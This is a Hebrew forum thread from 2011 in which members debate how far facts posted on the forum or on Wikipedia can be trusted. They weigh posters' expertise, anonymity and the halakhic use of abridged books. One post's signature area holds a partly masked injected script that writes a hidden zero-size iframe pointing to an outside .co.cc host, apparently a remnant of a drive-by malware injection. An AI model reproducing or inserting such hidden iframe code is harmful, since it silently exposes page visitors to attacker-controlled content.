|
|
| נשלח ב-26/11/2011 22:58 |
 |
| |
| tzvi11 כתב: |  | מקסמן,
לעניות דעתי היה הרצון פשוט לצחוק על הטענה הלא לענין של מואדיב,
כי אם אנחנו ניכנס לספקולציות כאלו אין לנו שום ביטחון לשום דבר.
|
|
אם לא שמת לב, כל הדיון פה בבדיחותא
|
|
|
|
| נשלח ב-26/11/2011 23:00 |
|
| |
כל מי שמכיר ולמד סוגיא כלשהו בעומק יודע שאי אפשר לסמוך על מה שכתוב באתר זה [והוא הדין לויקיפידיה,ושאר מקורות כאלו] כמו שכתב פרזנט כאן.
ומן הסוגיות ומוכרות לומדים במה מצינו אל אלו שאינם מוכרות.
וממילא, יכולים מקורות כאלו לשמש רק כהתחלה לפתוח את הנושאים ולציין מראי מקומות וכיווני חשיבה [ובזה תועלתם גדול מאד]. אך מי שרוצה להסיק משהו מתוך זה חייב להיות אחראי וללמוד הדברים בעצמו עד מקום שידו מגעת.
|
|
|
|
|
| נשלח ב-26/11/2011 23:04 |
|
| |
מה השאלה??? בטח שניתן, ראוי, ואף חייבים לסמוך על כל מה שנכתב כאן כתורה למשה מסיני.
ולא זו בלבד אלא שניתן ללמוד גם מהמחיקות הרבות.
ויש נוהגים להתפלל שלושה תפילות ביום מול המחשב הפתוח וטוב עושים כן.
בברכת יאכלו ענויים וישבעו.
הנהלת הפורום שליט''א וזצ''ל
תוקן על ידי עצכח ב- 26/11/2011 23:05:15
|
|
|
|
| נשלח ב-26/11/2011 23:08 |
|
| |
| tzvi11 כתב: | | מקסמן,
לעניות דעתי היה הרצון פשוט לצחוק על הטענה הלא לענין של מואדיב,
כי אם אנחנו ניכנס לספקולציות כאלו אין לנו שום ביטחון לשום דבר.
ובאמת שאין בזה צורך,
מה זה רלוונטי לדיון על אמיתות הידיעות שיש פה,האם הם מבעלי ניק אחד או שניים,
הבה נדון על הידיעות ולא על האישים שבלאוו הכי רובם ככולם וירטואליים.
והערה אליך מקס היקר באמת, לא כדאי להתרגש כל כך כשמדברים עליך בפורום. |
|
בוודאי שזה רלוונטי, הרי אי אפשר להסביר כל פעם את כל הדעות שלי בכל עניין ועניין,
שאני או כל ניק אחר מתווכח ודן עם מישהו, ההוא מכיר את דרך החשיבה של השני ומבין על מה הוא מדבר,
וגם מאוד קל לי לצטט למישהו חדש מאשכולות אחרים ששם כתבתי יותר בהרחבה,
בודאי שצריך להכיר את האנשים בכדי לדון איתם, אחרת סתם שיחקנו משחקים,
האם הלץ הזה לא מבין שזה טרחה לכתוב ולענות, הרי האנשים כאן עושים מאמץ גדול לכתוב ולהסביר למישהו שרוצה להבין או ללמוד, לא לאיזה לץ שהכל אצלו משחק, ולא מעניין אותו בכלל מה עונים לו,
חוץ מזה זה לא מוסרי,
לגבי להתרגש:
אני כן מתרגש שאומרים עלי דברים כאלה אפי' בצחוק,
|
|
|
|
| נשלח ב-26/11/2011 23:11 |
|
| |
| יהיאור כתב: | | | אך מי שרוצה להסיק משהו מתוך זה חייב להיות אחראי וללמוד הדברים בעצמו עד מקום שידו מגעת. |
|
בוודאי, מה החידוש ?
|
|
|
|
| נשלח ב-26/11/2011 23:14 |
|
| |
מקס יקירי,
צדקת ממני.
|
|
|
|
| נשלח ב-26/11/2011 23:17 |
|
| |
הנהלת הפורום שליט''א וזצ''ל מה קרה? הפכתם לחבד?
יהי אור
וממילא, יכולים מקורות כאלו לשמש רק כהתחלה לפתוח את הנושאים ולציין מראי מקומות וכיווני חשיבה [ובזה תועלתם גדול מאד]. אך מי שרוצה להסיק משהו מתוך זה חייב להיות אחראי וללמוד הדברים בעצמו עד מקום שידו מגעת.
וכן הדין בכל הספרים שאתה לומד וקורא. תבדוק ותגלה שיבושים וחוסר אמת בספרים שלא הית מעלה בדעתך.
|
|
|
|
| נשלח ב-26/11/2011 23:18 |
|
| |
מקס ועצכ'ח
אין כאן שום חידוש, הדברים פשוטים ביותר. רק שככל הנראה לא כולם שמים לב לזה.
ואיני אלא מזכיר להם את שכבר ידעו.
[ואגב זה קשטר להרבה אשכולות שיש כאן, כמו האם תצא מכאן "מהפכה". והאם ראוי שיהיה אתר כזה, והאם הדת היא אמת-לפי עצכ"ח, וכו' וכו' אלא שאין כאן המקום לפורטם.
|
|
|
|
| נשלח ב-27/11/2011 03:46 |
|
| |
מואדיב: "מי שקורא כאן, לא יודע שאמא שלום, סוסרטי ונישטאייך הם בעצם אותו גולש, אדם משועמם מבית אבות יוקרתי במגדלי הדקלים ליד החוף במיאמי, שמתכתב ומתווכח עם עצמו ...". כך לפחות הוא יודע שהוא מתכתב ומתווכח עם אדם חכם. יהי אור: ה"בעיה" שהעלית היתה לפני שהמציאו את האינטרנט, בהלכה היא היתה ידועה כפסיקה מ"ספרי קיצורים", (ראה שו"ת יביע אומר חלק א - או"ח דברי פתיחה ד"ה (יא) וביותר), הכרתי רב שעשה "קיצורי דרך" ופסק ישירות מ"נטעי גבריאל", מבלי לבדוק במקור ומבלי להבין מה נאמר ב"נטעי גבריאל". למה לך לחטט בעצוכ"ח ולא יותר קרוב לביתך?
http://www.chabad.org.il/Magazines/Article.asp?ArticleID=4198&CategoryID=1045 "וצריך עיון ליישב זאת עם מה שמסר הרה"ח ר' יהודה לייב שי' גרונר, שכאשר נולדו לו בניו התאומים שי' שאל את הרבי איך תתנהג זוגתו בקשר לברכת הגומל, ונענה "היכן שמעת שאשה תברך הגומל?!". ואחר-כך הוסיף: מכיוון ששאלת, שאל את זקני רבני אנ"ש. כשיצא מן הקודש פגש את הרה"ח ר' שמואל לוויטין ע"ה, שישב עם גיסו הרה"ח ר' אברהם שמואל כהנוב ע"ה. שאל את ר' שמואל, וענה לו: מעולם לא שמעתי שאשה תברך הגומל. ואם כי גיסו אמר אז שבעירו כן היו מברכות, נשארה המסקנה שלא לברך, ע"כ. ('התקשרות' גיליון כו עמ' 18). איך הופיע הסיפור בספר הקיצורים? http://www.hebrewbooks.org/pdfpager.aspx?req=15802&st=&pgnum=55&hilite ברכת הגומל לאחר לידה שאלה : האם אשה מברכת הגומל לאחר לידה? מענה: היכן שמעת שאשה תברך הגומל? מכיון ששאלת ,שאל את זקני רבני אנ״ש שיחיו*. *תשו ב ת רבני אנ״ש ה י ת ה שאכן מ ע ו ל ם ל א שמעו שאישה ת ב ר ך ה ג ו מ ל — ה מ ע ר כ ת .כנראה שאותם הרבנים לא שמעו על הנאמר בקישור שהבאתי. ראו שם.
תוקן על ידי נישטאיך ב- 27/11/2011 03:52:25
 עולם הפוך אני רואה
 |
|
|
|
|
| נשלח ב-27/11/2011 07:50 |
|
| |
יהי אור שאל:
האם ניתן לסמוך על מידע שמתפרסם כאן?
סיכום דבריו: אפילו בויקיפדיה לא על הכל ניתן לסמוך. מה עם הפורום שלנו. יש בו דיונים על המון נושאים שביהדות, בפרט כאלה שלא מרבים לדון בהם במקומות אחרים, ובהעלאת צדדים וסברות שלא מרבים לדון בהם במקום אחר. מכל מקום יש להיזהר מלסמוך על המובא פה יותר מדי. אני מכיר בעצמי שכמה דברם כתבתי פה בצורה מאד פסקנית ואחרי שלמדתי יותר נוכחתי שבכלל אין הדברים כמו שתארתי, ומכיוון שאף אחד לא תיקן אותי אף אני לא טרחתי לתקן. ובכן, יש לכתוב כאן אזהרה וגילוי נאות. הגם שזה מקום טוב מאד למצוא דיונים וכיווני חשיבה בכל מיני נושאים מעניינים וחשובים. עדיין התוצאות רחוקות מלהיות אמינות מספיק בכדי לסמוך עליהם אפילו כלפי לימוד הנושאים גרידא. כל שכן לא לגבי להחליט מזה החלטות חשובות בחיים. ובזה פטרנו דרך אגב גם את הבעיה של המציצים פה ונפגעים. עד כאן דבריו. ואני משיב לפי מה שאני מכיר: יש כאן כמה רמות שצריך לברר. 1. באיזה נושא מדובר? מדע: לוגיקה, פיזיקה, מתמטיקה (תורת ההסתברות) פילוסופיה: לוגיקה, פילוסופיה של המדע, פילוסופיות אחרות (דקארט, קאנט, שפינוזה). יהדות. הלכה למעשה. ביאורי סוגיות. פילוסופיה יהודית. רמב"ם ריה"ל אחרים. קבלה זוהר. קדמות כתיבתו. קדמות רעיונותיו. היחס למי שכופר בו. פסיכולוגיה. עצות. עוד נושאים: תיאורים וסיפורים של מעשים שהיו. מסורות שונות כמו בחסידויות שונות או אצל הליטאים או אודות רבנים. 2. מי הכותב. מה הידע שלו. מה האיכפתיות ויראת השמים שלו ורצונו לדייק. האם יש לו ערכים כאלו שמטים אותו לצד אחד מן הצדדים האפשריים. מי מומחה. מיכי, שמציג עצמו, ידוע לא רק כתלמיד חכם ופילוסוף, אלא גם כפיזיקאי. לפיכך, אני סומך על מה שהוא מביא בשם הפיזיקה או המתמטיקה. כך גם נדב (שנרב). ד"ר הלפרין הוא רופא, ולכן יש לסמוך על דבריו ברפואה. יש עוד כמה שיש להם מומחיות בתחומי המדע ומסתבר שניתן לסמוך על דבריהם. אבל צריך לדעת מי הם. יש כאלו שאינם מפרסמים את זהותם, וזו רעותא (=חסרון מעורר חשד), אבל כמדומה שמתוך דבריהם ניכרת בקיאותם. כמו נישטאיך שיש לו ידע רב בהלכה ובחסידות חב"ד. לגבי אחרים, אכן איך יודעים אם הם בקיאים בתחום או מנצלים יכולת להתנסח בצורה "מקצועית"? יש כאלו שאכן רכשו השכלה "פורמלית" בתחום במוסדות שנחשבים בני סמכא (ישיבה, אוניברסיטה) ויש כאלו שהינם "חובבים" אבל מוכשרים ומשקיעים. איך אפשר לדעת מיהו מי? גם אם אדם כותב ומציג את מקורותיו, וזה יותר אמין, מי יודע אם הבין אותם ואולי הוא רק כחמור נושא ספרים? כמו כן, הפורום שלנו מטבעו מושך מוכשרים אך גם אוטודידקטים (כאלו שלמדו מעצמם) ויש בזה יתרונות (כשרון, השקעה, מחשבה מקורית) אך גם חסרון (סיכון של טעות ואי הבנה בשל מיגבלות הלימוד העצמי, או מקוריות יתר והרצון להיות חדשני). 3. מה הנושא. האם זה בכלל נושא שיש בו "אמת". יש הבדל בין קביעה מוסרית (שבה ייתכנו צדדים) והלכתית (שגם בה יש צדדים) לבין קביעות שלכאורה הן חד ערכיות (האם השמש היא בגודל זה או אחר, האם רב מסויים כתב או לא כתב אמירה מסויימת. ואילו בתחום ההיסטוריה או תחומים מקבילים (ביקורת המקרא) יש הבדלי גישות חריפים מאד, וכן הבדלי מתודולוגיה, עד שאפשר למצוא טווח דעות רחב מאד (האם סיפורי המקרא עד סוף פרשת נח משקפים היסטוריה או סיפור דברים, האם השבת היא מקורית יהודית (ומהיכן) או שנלקחה מעמים באיזור). בתחום ביאורי המורה נבוכים, הספר אמור להכיל סתירות ולכן קשה מאד להכריע בין פרשנויות ואדרבה, מתבקש להניח ששום פרשנות אינה סוף פסוק. בתחום לימוד הגמרא, יש בירור של נוסח המקורות (ובזה לא ראיתי מחלוקות) ויש פרשנות של המקורות או של המפרשים. כאן יש כמה שמזדהים בשמם (הרב מקובר). עם זאת, יש לזכור כי אפילו בפירוש של "פשט פשוט" יש מקום לאפשרויות שונות ולמחלוקות מעצם הנושא. בתחום הקבלה, אין לנו כמעט מומחים, ואיני יודע איך מזהים מומחים. אבל היו כאלו שטענו שהם מומחים ודבריהם מייצגים ידע קבלי בתחומים שונים. 4. סימן של אמינות: נכונות להודות במה שאינו יודע. זה לא תמיד מספיק, אבל יש לשים לב ששותף סוד אינו מתיימר לידע אלא בקבלת הלשם. זה סימן לטובה. *** מה יוצא לנו מכל זה?
המלצות:
השואל והמתעניין צריך לברר מה הנושא ומה מיגבלותיו, מי העונה ומה ידיעותיו (ורצונו הטוב, ומה נקרא אצלו "רצון טוב"). אפשר שבנושאים בודדים ומסויימים אפשר לסמוך על הנאמר כאן, במיוחד אם הכותב ידוע ומזדהה בשמו. *** האם אפשר להאמין לכל מה שכתבתי כאן? סמיילי.
*** אני מעיד על עצמי שאני משתדל לכתוב במדוייק ומתוך גילוי נאות. אולם על פי השאלות שהציג יהי אור, אילולא הייתי מכיר את עצמי, הייתי חושד שאי אפשר לסמוך על מה שאני כותב...
_________________ הורחב סעיף אחד
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 27/11/2011 08:01:16
|
|
|
|
|
| נשלח ב-27/11/2011 07:59 |
|
| |
יש לשאול בכלל:
איך אנו בכלל מאמינים לכל אדם שעונה לנו על שאלה שאיננו יודעים את התשובה עליה?
התשובה אינה כה פשוטה. ואני מנסה כאן לסכם מה שאנו עושים ולמה אנו עושים אם בכלל אנו חושבים על ה"למה" הזה.
חלק מן ההסבר אכן מופיע כבר בגמרא, והוא כלול ב"דעת בני אדם" או "סברה" או "שכל ישר".
1. האם האדם שלפני יכול להבין בתחום? (תלוי מהו התחום. מה השעה. איפה רחוב פלוני?)
2. האם הוא ירצה לומר את האמת? (אני מכירו כאוהב אמת, הוא בקיא בתחום, הוא אינו חושש להתבייש להודות שאינו יודע אם אינו יודע, אין לו אינטרס לשקר).
3. הנושא הוא דבר שקל לברר או אפשר לברר או שיש אחרים שיעירו אם הוא טעה או שיקר (אלך לרחוב בדרך שציין ואראה בעצמי, או אשאל אחרים מה כתוב בגמרא, או אפתח ספר ואראה).
4. האם האמירה שאני שומע או קורא מתיישבת עם שאר ידע שיש לי? (מי שכותב פסק הלכה על פי הגמרא נגד השולחן ערוך נראה חדשני וחצוף. מי שמערער על מסורות בעם ישראל חשוד כאפיקורס. מצד שני, מי שטוען שמנהג שנהגו דלת העם הוא הלכה או שיש אמת שנראית בלתי אפשרית מתוך עצמה גם כן מראה שהנושא שהוא טוען לגביו אינו אמין ושהוא עצמו חשוד כי הוא רוצה לשכנע אחרים להחזיק בנושא לא אמין...).
5. יש כאלו שכותבים ביתר בהירות, ביתר קיצור, ביתר התלהבות ומה שנראה כיראת שמים, בעוצמה - האם זו סיבה להאמין להם, כפי שאנו נגרפים בדרך כלל לחוש, או להפך, שעלינו לחשוד בעצמנו ולהאט את המהירות של נתינת אמון?
הפתרון הטוב ביותר הוא כמובן לעיין בעצמי. אבל לשם כך עלי להבין בתחום ולהשקיע זמן. זו אחת הסיבות שאנו נזקקים לאחרים. כמו כן, אנו לא יכולים לחשוב על הכל בעצמנו. כשאנו קוראים דברי אחרים, אנו מתעשרים בזויות חדשות של ראיה. כך מתקדם גם המדע וכך זה גם בלימוד תורה (להבדיל בקדושה אבל לא במתודולוגיה).
כדאי גם לחשוב על העלויות. אם אני קורא בנושא פלוני שאינו משמעותי ומסיק שקיבלתי רקע לבירור נוסף, ניחא. אם אני קורא המלצה שלטענת הכותב מוכחת נגד מה שמקובל כהלכה או כמנהג (נניח: לא לעשות כפרות כי זה אסור), מה עדיף? (גילוי נאות: כותב שורות אלו הכין אשכול בשעתו נגד עשיית כפרות והובאו מקורות וסברות. אבל מי אומר שאפשר לסמוך עלי?).
לפיכך, הקורא חסר הנסיון צריך לקרוא בזהירות, להתרשם, ולזכור שהאחריות עליו ללמוד, להבין ולהכריע. בפורום זה כמו בחיים האמיתיים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-27/11/2011 09:01 |
|
| |
תוספת ששכחתי:
הצעתי חילוק בין שאלות פשוטות (היכן רחוב פלוני? מה הנוסח המדוייק בגמרא פלונית? כמה אלקטרונים יש באטום של מימן) לבין שאלות מורכבות יותר: האם הסוגיה של המגרש אשתו על תנאי צריכה לרעיון של ברירה? האם מאחורי החלקיקים התת אטומיים יש "מיתרים"?
איך מבדילים בין שאלות פשוטות למורכבות? רמת הידע הראשוני. שאלות פשוטות מצריכות ידע ראשוני בלבד, או ידע שקל ללמוד, או שקל לאתר. לשאלות פשוטות יש תשובות בתוך הקונצנזוס. שאלות מורכבות יש לגביהן מחלוקות בין אנשי המקצוע.
מה קורה כאשר יש כמה קונצנזוסים? בינינו, החרדים, אין בדרך כלל אמון בביקורת המקרא ובוודאי שלא ב"גבוהה". אצל חוקרי מקרא להפך, חלוקת המקרא ל"תעודות" לפי שם ה' המופיע בהן היא מושא של אמונה (כן, כן).
אם כן, העצה להבדיל בין שאלות פשוטות למורכבות אינה כה פשוטה, אבל היא מועילה במקרים רבים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-27/11/2011 13:52 |
|
| |
הביקורת (המוצדקת) על שימוש בויקיפדיה מזכיר לי קצת את מדורות קידוש החודש העתיקות, והכותים שהיו מנסים לשבש את הדברים. מעניין אם חז"ל היו מוצאים כללים כגון מי שחי רחוק משרתי ויקיפדיה יכול לפסוק הלכה רק עפ"י שני ערכים וכו'.
|
|
|
|
| נשלח ב-27/11/2011 17:20 |
|
| |
כאשר יש חשד לאינטרסים, אין לסמוך בשום פנים ואופן על דברי המדענים שהזכיר מיימוני.
לא על הראשון שפתח דיון ארוך כאן על אבולוציה שרק באחד העמודים האחרונים שלו ביקש הבהרה מה זה 'פנוטיפ' ואף בדיון הגנטיקה הראה ידע שנופל מזה של אחד שסיים קורס בסיסי בביולוגיה (אני מקווה שלכבוד הספר בוצע מחקר מעט יותר מקיף)
לבטח לא על האחרון עם הדברים-שנראים-כשטויות שהוא כותב בכל הנוגע לידיעות חכמינו ברפואה.
מיימוני, צא מהעמדה של אמונה באוטוריטות הכפר המביאים את המידע מהיוניבערסיטאטען בלייפציג. אנחנו כבר לא שם. זהו עידן המידע, להוותכם.
|
|
|
|
| נשלח ב-27/11/2011 17:58 |
|
| |
| thepresent כתב: | | כאשר יש חשד לאינטרסים, אין לסמוך בשום פנים ואופן על דברי המדענים שהזכיר מיימוני.
...
מיימוני, צא מהעמדה של אמונה באוטוריטות הכפר המביאים את המידע מהיוניבערסיטאטען בלייפציג. אנחנו כבר לא שם. זהו עידן המידע, להוותכם. |
|
מה קורה כשאין אינטרסים? ב2005, עיתון נייצ'ר היוקרתי ערך ניסוי עוור על אמינות ויקיפדיה לעומת אנציקלופדיה בריטניקה בנושאים מדעיים טכניים. מסקנתו היתה שהרמה די דומה. כדי להוכיח את הוכחתי מתוך עצמה, אני מצרף הפניה לויקי, לא לאתר נייצ'ר:
|
|
|
|
|
